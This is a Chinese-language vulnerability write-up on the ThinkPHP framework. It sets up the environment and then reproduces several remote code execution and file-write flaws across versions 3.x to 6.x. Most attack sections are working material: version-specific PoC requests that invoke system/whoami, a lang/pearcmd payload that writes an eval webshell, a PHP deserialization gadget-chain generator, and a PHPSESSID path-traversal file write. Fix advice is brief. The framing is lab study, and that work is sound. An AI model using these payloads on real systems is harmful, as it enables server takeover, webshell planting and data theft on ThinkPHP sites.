Thinkphp安全漏洞分析

Thinkphp安全漏洞分析
Takake1.环境安装
1.1.PHP+IDE安装
Windows-php下载地址。
配置环境变量。
安装PHPSTORM
配置项目解释器
1.2.Composer安装
设置国内镜像
1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
可能遇到composer ssl问题,在ini中添加openssl扩展
extension=openssl
创建thinkphp项目
1
composer create-project topthink/think=6.0.* tp60 --ignore-platform-reqs
1.3.Xdebug安装
下载Xdebug
配置Xdebug
- 配置php.ini文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15[Xdebug]
zend_extension=D:/Language/PHP/php7.3.4nts/ext/php_xdebug.dll ;下载的对应版本的Xdebug文件
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=D:/Language/PHP/php7.3.4nts/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir="D:/Language/PHP/php7.3.4nts/tmp/xdebug"
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_autostart=1
xdebug.remote_enable=On
xdebug.idekey="PHPSTORM"- 我使用的是phpstudy默认下载的xdebug版本
PHPSTORM Xdebug配置
- 需要先配置一下host 文件,给本地配置个域名。
127.0.0.1 x.cn
- 配置PHPSTORM
- 使用内置的Web服务器启动
- 需要先配置一下host 文件,给本地配置个域名。
1.4.ThinkPHP集合环境搭建
3.x github 地址https://github.com/top-think/thinkphp.git
# 完整应用库 5^ github 地址 git clone https://github.com/top-think/think tp5
1
2
3
4
5
6
7
8
9
10
11
12
- 通过git clone 下载到本地,然后使用`git checkout [tag]`切换版本,或者自定义自己想要的版本
- 如果更改了代码需要切换版本
```cmd
# 场景一:仅查看代码,不做修改
git checkout -f 3.2.2 # 强制切换并丢弃本地修改
git clean -fd # 清理未追踪文件(谨慎操作)
# 场景二:需要基于此版本开发
git checkout -b my-3.2.2 3.2.2 # 创建新分支锚定在此版本或者使用composer构建对象
1 | composer info topthink/think --all # 显示所有可用版本 |
-
- 解决安装项目后自动更新版本的问题。
1 | composer require topthink/framework:5.0.12 #手动降级到5.0.12 |
2. —3.x版本分析
2.2.原理分析
- 在ThinkPHP框架中,
$this->assign($value);
和$this->display();
是控制器中用于向视图传递数据并渲染模板的核心方法。 - 但在$value可控的前提下,就可能包含本地文件,如果包含本地日志文件的化,就会造成远程命令执行。
- 业务代码中模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。
2.2.漏洞复现
- 注意在漏洞复现时需要新建一个html文件,否则即使正常传值时也会报错。
- 当前thinkphp版本3.2.2
- 通过m参数将php代码写入到日志文件
- 这里要注意不能进行url编码,否则写入到日志文件中是不会解码的,这样即使文件包含了,代码也不会执行。
- 由于是3.2.2版本,因此日志文件会直接生成在当前WEB根目录
- 3.2.4版本在./Application/Runtime/Logs/Common/25_03_20.log路径下,因此目前看来,不同的版本注入参数时,产生的日志文件的位置不同,因此如果在盲打的话一定要在多个路径尝试包含。或者直接目录爆破。
- 然后直接利用对assign()方法参数使用数组进行传参,文件包含成功,执行phpinfo。
2.3.代码跟踪
- 首先是assign方法。
- ThinkPHP/Library/Think/Controller.class.php
- 然后display方法
- ThinkPHP/Library/Think/View.class.php
- ThinkPHP/Library/Think/Hook.class.php
ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php
- ThinkPHP/Library/Think/Template.class.php
- ThinkPHP/Library/Think/Storage.class.php
- ThinkPHP/Library/Think/Storage/Driver/File.class.php
- 最后在File.class.php文件中包含传入的文件。
3.一5.x版本分析
3.1.CNVD-2018-24942(t5RCE)
ThinkPHP 5 的路由解析机制存在缺陷,攻击者可通过构造恶意 URL 参数触发框架内部方法调用链,最终实现远程代码执行(RCE)。该漏洞的核心在于 未充分过滤的路由参数 和 动态函数调用的滥用。
环境
ThinkPHP 5.0.12
php 7.3
影响版本
ThinkPHP 5.0.5-5.0.22
5.1.0-5.1.30
3.1.1.原理
- 默认情况下,安装的ThinkPHP没有开启强制路由选项,默认开启的是路由兼容选项,因为没有开启强制路由,因此可以使用路由兼容参数s来调用任意的控制器,从而达到RCE的效果。
3.1.2.完整调用逻辑
以下是漏洞的完整利用链:
路由解析缺陷
ThinkPHP 5 的默认路由模式(pathinfo
或兼容模式)会将 URL 中的s
参数解析为 控制器/方法 的路径。例如:1
/index.php?s=/Index/hello
对应调用
app\index\controller\Index
控制器的hello
方法。命名空间注入
攻击者通过注入命名空间字符\
,绕过默认控制器限制,直接调用框架核心类think\App
的invokefunction
方法:1
s=/\think\App/invokefunction
\think\App
:指向框架核心类App
。invokefunction
:该类中用于动态执行函数的方法。
动态函数调用
invokefunction
方法允许通过参数动态调用任意函数。攻击者传递以下参数:1
function=call_user_func_array&vars[0]=system&vars[1][]=whoami
call_user_func_array
:PHP 函数,用于调用回调函数并传递数组参数。system
:系统命令执行函数。whoami
:待执行的命令。
代码执行流程
框架内部处理过程:1
2
3
4
5
6
7
8
9
10
11
12// think\App 类中的 invokefunction 方法
public static function invokefunction($function, $vars = []) {
$call = $function;
if ($call instanceof \Closure) {
// ...
} elseif (is_array($call)) {
$result = call_user_func_array($call, $vars);
} else {
$result = call_user_func_array($call, $vars); // 漏洞触发点
}
return $result;
}- 攻击者通过参数控制
$function
和$vars
,最终调用call_user_func_array(system, ['whoami'])
,执行系统命令。
- 攻击者通过参数控制
3.1.2.漏洞复现
- PoC
1 | http://x.cn:8000/index?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc |
3.2.Thinkphp5.0.23变量覆盖RCE
漏洞编号:CVE-2018-20062(ThinkPHP 5.x 请求方法伪造RCE)
3.2.1.漏洞原理
ThinkPHP 5.0.23 的变量覆盖RCE漏洞本质是 框架对用户输入参数的过滤不严格,导致攻击者可以覆盖关键配置参数或触发动态代码执行逻辑。
过滤器参数注入 + 动态函数调用
通过覆盖 filter
参数,利用框架的 输入过滤机制 触发动态函数调用:
参数构造:
1
2POST /index.php?s=index/index
_method=__construct&filter[]=system&method=GET&get[]=whoami漏洞触发链:
_method=__construct
覆盖Request
类的构造函数。filter[]=system
将输入过滤器设置为system
函数。get[]=whoami
将GET
参数作为system
的参数传入。
关键代码逻辑(Request
类):
1 | public function filterValue($value, $filter) { |
- 其核心利用链为:
参数覆盖 → 配置篡改/逻辑篡改 → 动态代码执行
理解这一原理后,可进一步分析其他版本或框架的类似漏洞(如Laravel、Spring等)。
3.2.2.漏洞复现
- 各版本的利用链有所区别PoC
1. ThinkPHP 5.0.5 ~ 5.0.10 (我尝试了5.0.12也可行)
利用链:_method
参数覆盖 → 构造函数参数注入 → filter
直接调用系统函数。
POC:
1 | POST /index.php?s=index/index |
说明:
- 直接通过
_method=__construct
覆盖Request
类的构造函数,注入filter
和method
参数。 - 适用于未对
filter
参数进行严格过滤的早期版本。
2. ThinkPHP 5.0.11 ~ 5.0.15
利用链变化:
框架对 filter
参数的处理方式调整,需通过 filter
参数覆盖全局过滤器。
POC:
1 | POST /index.php?s=index/index |
说明:
- 添加
server[REQUEST_METHOD]=1
绕过部分版本对请求方法的校验。 filter=system
直接指定全局过滤器为system
函数。
3. ThinkPHP 5.0.12
POC:
1 | POST /index.php?s=index/index |
3. ThinkPHP 5.0.16 ~ 5.0.22
利用链变化:
框架进一步限制 filter
参数类型,需通过数组形式注入过滤器。
POC:
1 | POST /index.php?s=index/index |
说明:
- 使用
filter[]=assert
替代system
,通过assert
执行PHP代码(需目标环境开启assert
函数)。 - 部分版本禁用
system
的显式调用,改用assert
或passthru
。
4. ThinkPHP 5.0.20+ 特殊绕过
利用链变化:
5.0.20 后修复了 _method
直接覆盖构造函数的漏洞,需结合路由特性绕过。
POC:
1 | POST /index.php?s=index/\think\Request/input&filter[]=system&data=whoami&_method=GET |
说明:
- 通过路由调用
think\Request/input
方法,直接触发filter
参数。 - 需依赖框架的路由解析特性,且目标存在未授权访问的控制器方法。
各版本利用链对比表
版本范围 | 关键参数 | 过滤器函数 | 额外参数 | 利用链特点 |
---|---|---|---|---|
5.0.5 ~ 5.0.10 | _method=__construct |
system |
无 | 直接覆盖构造函数 |
5.0.11 ~ 5.0.15 | filter=system |
system |
server[REQUEST_METHOD] |
全局过滤器注入 |
5.0.16 ~ 5.0.19 | filter[]=assert |
assert |
server[REQUEST_METHOD] |
改用 assert 绕过限制 |
5.0.20 ~ 5.0.22 | s=index/\think\Request/input |
system |
_method=GET |
路由调用内部方法绕过修复 |
3.3 lang命令执行漏洞
根据搜索结果,ThinkPHP的lang
命令执行漏洞(QVD-2022-46174)主要影响特定版本,且利用方式与多语言功能及pearcmd
扩展相关。以下是漏洞的详细复现流程及影响版本说明:
影响版本
- ThinkPHP 6.0.1 ~ 6.0.13
- ThinkPHP 5.0.x
- ThinkPHP 5.1.x
注:漏洞需满足以下条件:
- 目标系统启用了多语言功能(
lang
参数可控)。 - 存在
pearcmd.php
文件(默认路径为/usr/local/lib/php/pearcmd
)。
- 目标系统启用了多语言功能(
知识储备:
HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。
PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。
Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。
config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径
漏洞复现流程
1. 环境搭建
- 使用
docker
部署漏洞环境(如Vulfocus靶场):1
docker run -d -p 80:80 vulfocus/vulfocus
- 访问目标URL,例如:
http://<靶机IP>/public/index.php
。
2. 构造Payload
通过lang
参数实现路径遍历,并利用pearcmd
的config-create
功能写入WebShell:
Payload示例:
1 | ?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/public/shell.php |
- 参数解析:
lang=../../../../../../../../usr/local/lib/php/pearcmd
:通过目录遍历定位pearcmd.php
。+config-create+
:调用pearcmd
的config-create
方法创建文件。/<?=@eval($_REQUEST['cmd']);?>
:写入的PHP代码(一句话木马)。+/var/www/html/shell.php
:WebShell保存路径。
3. 发送Payload
使用工具(如BurpSuite)发送构造的请求:
请求方法:GET或POST均可。
示例请求:
1
2GET /public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/public/shell.php
Host: <靶机IP>不要使用hackbar发包,默认情况下特殊字符会被编码处理,这样就会导致,php代码被编码处理,无法执行。
4. 验证利用
- 访问WebShell路径:
http://<靶机IP>/shell.php
。 - 使用蚁剑等工具连接,执行任意命令(如
cmd=system('whoami');
)。
修复建议
- **禁用
register_argc_argv
**:在php.ini
中设置register_argc_argv=Off
,阻止通过URL传递命令行参数。 - 升级框架版本:ThinkPHP 6.x用户需升级至6.0.14及以上版本,5.x用户建议升级至官方修复版本。
- **删除
pearcmd.php
**:若无需使用PEAR扩展,可删除相关文件。
总结
该漏洞的核心在于通过lang
参数实现路径遍历,结合pearcmd
的命令行参数功能写入恶意代码。复现时需注意目标环境是否满足漏洞条件,并确保Payload的路径和参数正确编码。实际利用中可能需根据服务器路径调整目录遍历层级。
4. 6.x版本分析
4.1 T6.0-12LTS反序列化漏洞复现与原理详解
一.漏洞背景
ThinkPHP6.0.12LTS版本存在反序列化漏洞(CVE-2022-33107),攻击者可通过构造恶意序列化数据触发链式调用,最终实现任意代码执行。该漏洞影响范围覆盖6.0.1至6.0.12版本,危害等级为高危。
二、漏洞原理分析
- 利用条件,需要可控存在反序列化入参。
- 入口点
漏洞起点位于Model
类的__destruct()
方法。当对象销毁时,若$this->lazySave
为true
,则会调用save()
方法,进而触发后续利用链。 - 利用链关键路径
save()
方法:需绕过isEmpty()
(需$this->data
非空)和trigger()
(需$this->withEvent
为false
)的判断,进入updateData()
。checkAllowFields()
方法:调用db()
方法时,若$this->table
为对象,会触发其__toString()
方法。__toString()
触发:通过toArray()
遍历$this->data
,调用getAttr()
和getValue()
,最终进入getJsonValue()
方法。此处通过$closure($value[$key], $value)
执行命令,要求$this->jsonAssoc
为true
且$this->withAttr
为可控的闭包数组。
- 版本差异
- 6.0.12修复绕过:旧版本可直接通过
$closure
调用函数,但6.0.12增加了闭包类型检查,需通过getJsonValue()
中的数组遍历执行命令。
- 6.0.12修复绕过:旧版本可直接通过
- 个人理解
- 该漏洞的命令执行点在模型数据处理文件Attribute.php的getJsonValue方法中,其中将$closure变量以函数的形式方式,不仅该$closure参数可控,同时该可变函数的入参可是用户可控制的,因此导致了,命令执行漏洞的产生。
- 其他的基本就是一些细节绕过。
三、漏洞复现步骤
环境搭建
- 安装ThinkPHP6.0.12:
1
composer create-project topthink/think tp6.0.12
- 创建存在反序列化入口的控制器(如
app/controller/Index.php
):1
2
3public function test() {
unserialize($_POST['a']);
}
- 安装ThinkPHP6.0.12:
生成POC
构造恶意序列化数据,触发命令执行(以执行whoami
为例):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
namespace think;
abstract class Model {
private $lazySave = true;
private $data = ['whoami' => ['dir']];
protected $table;
private $withAttr = ['whoami' => ['system']];
protected $json = ['whoami'];
protected $jsonAssoc = true;
public function __construct($obj) {
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
$a = new Pivot(new Pivot());
echo urlencode(serialize($a));生成的Payload通过POST参数
a
发送至/index/test
路由。验证漏洞
发送Payload后,若服务器执行命令(如whoami
),则返回当前系统用户信息,证明漏洞利用成功。
四、关键参数说明
- **
$lazySave
**:必须为true
以触发save()
方法。 - **
$data
**:需包含可控键值对(如['whoami' => ['dir']]
)。 - **
$withAttr
**:指定闭包函数(如['whoami' => ['system']]
)。 - **
$json
与$jsonAssoc
**:$json
需包含键名,$jsonAssoc
设为true
以触发数组处理逻辑。
五、修复建议
- 升级框架:官方已发布安全更新,建议升级至6.0.13及以上版本。
- 输入过滤:避免反序列化用户可控数据,或使用白名单机制限制反序列化类。
- 代码审计:检查项目中是否存在类似
unserialize()
函数直接处理外部输入的情况。
六、漏洞影响与总结
该漏洞通过链式调用多个魔术方法(__destruct
、__toString
)和可控属性实现RCE,是典型的反序列化利用场景。开发者在处理序列化数据时需严格验证输入,并及时跟进框架安全更新。
4.2.thinkphp6.0.0-1任意文件写入
一、漏洞影响版本
该漏洞影响 ThinkPHP 6.0.0 至 6.0.1 版本,主要由于框架在处理 SessionId
时未对用户输入进行严格过滤,导致攻击者可通过构造恶意 PHPSESSID
实现任意文件写入或删除。修复版本为 6.0.2 及以上,通过引入 ctype_alnum()
函数限制 SessionId
仅包含字母和数字。
二、漏洞原理
SessionId 可控
漏洞核心在于SessionInit
中间件从 Cookie 中获取PHPSESSID
的值后,未校验其合法性。若PHPSESSID
长度为 32 位,框架会直接将其作为会话 ID,进而构造文件路径时允许目录穿越(如../../../../public/shell.php
)。文件写入逻辑
Session 数据序列化后写入文件时,文件名由sess_
拼接PHPSESSID
生成。攻击者通过控制PHPSESSID
的路径部分(如../../public/shell.php
),结合可控的 Session 数据(如通过参数设置session('key','恶意代码')
),实现任意文件写入。修复方案
ThinkPHP 6.0.2 版本在Store.php
中添加ctype_alnum($id)
检查,仅允许字母和数字组合的SessionId
,阻断路径穿越。
三、复现步骤
环境搭建
安装 ThinkPHP 6.0.0
使用 Composer 创建项目并指定版本:1
composer create-project topthink/think tp60 6.0.0
开启 Session 中间件
修改app/middleware.php
,取消SessionInit
中间件的注释:1
return [\think\middleware\SessionInit::class];
添加漏洞触发代码(可选)
在控制器中增加 Session 参数接收逻辑(示例代码):1
2
3
4
5
6
7class Index extends BaseController {
public function index() {
$a = input('a');
$b = input('b');
session($a, $b);
}
}
漏洞利用
构造恶意请求
通过 Cookie 设置PHPSESSID
为目录穿越路径(需满足 32 位长度),例如:1
PHPSESSID=../../../../public/shell.php
若长度不足,可填充字符(如
../../public/shell.php1234567890
)。触发文件写入
发送 GET 请求设置 Session 数据,写入 PHP 代码:1
http://target.com/index.php?a=key&b=<?php phpinfo();?>
成功写入后,文件路径为:
tp60/runtime/session/sess_../../../../public/shell.php
实际会解析为public/shell.php
,访问即可执行代码。
四、关键注意事项
Session 依赖
漏洞需目标系统启用 Session 中间件,默认配置中未开启。写入内容限制
默认 Session 数据会序列化存储,直接写入 PHP 代码需避免格式破坏(如通过参数控制完整 Payload)。防御措施
升级至 6.0.2+ 版本,或手动添加ctype_alnum()
校验,禁用非字母数字字符。
五、扩展参考
- POC 代码:GitHub 上的漏洞复现项目(如 Loneyers/ThinkPHP6_Anyfile_operation_write)。
- 漏洞分析:详细代码审计流程可参考腾讯云开发者社区的分析。